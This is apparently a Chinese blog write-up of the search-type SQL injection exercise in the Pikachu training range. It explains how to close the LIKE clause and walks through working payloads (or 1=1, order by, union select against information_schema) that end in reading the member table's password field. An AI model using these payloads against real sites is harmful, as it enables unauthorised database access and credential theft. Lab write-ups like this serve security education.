一、原理
“%”匹配任何字符,“like”的意思就是像,这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。
构造对应的闭合,闭合前面的单引号和百分号,注释后面的百分号和单引号。构造的payload如下
xxxx%’ or 1=1#
二、操作
打开进入界面:
然后我们可以输入’ and 1=1 order by x#通过order by x来确定字段数,时返回了正常页面然后我们可以输入’ and 1=1 order by x#通过order by x来确定字段数
输入’ and 1=1 order by 3#时返回了正常页面
证明字段数为3。
然后输入’ and 1=2 union select 1,2,3#,回显了1、2、3:证明1,2,3都可以回显。
输入’ and 1=2 union select 1,2,(database())#就可以爆出当前使用的数据库pkxss:
输入’ and 1=2 union select 1,2,table_name from information_schema.columns where table_schema=‘pikachu’#,就得到了pikachu数据库下的所有表名
接着随便选一个表,输入’ and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘member’#,得到member表下的所有字段名:
然后输入’ and 1=2 union select 1,2,pw from pikachu.member#,就得到了字段pw的内容:

本文详细介绍了Pikachu搜索型注入的原理和操作步骤。通过构造特定的SQL语句,可以探测数据库信息,包括确定字段数、获取数据库名称、表名以及表中的字段内容。利用闭合技巧和`order by`、`union select`等方法,攻击者能揭示敏感数据。

7244

被折叠的 条评论
为什么被折叠?



